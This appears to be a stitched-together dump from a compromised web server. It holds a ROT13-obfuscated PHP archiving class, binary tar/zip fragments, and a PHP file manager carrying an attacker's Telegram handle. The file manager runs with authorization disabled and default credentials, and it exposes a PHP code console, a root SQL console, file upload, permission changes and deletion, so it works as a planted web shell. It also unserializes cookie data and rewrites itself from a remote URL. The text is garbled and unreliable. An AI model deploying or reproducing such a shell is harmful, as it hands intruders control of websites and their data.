			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>PK���Z���qqindex.php.php.tar.gznu�[������K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�PK���Z��T��A�Aloadnu�[���eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
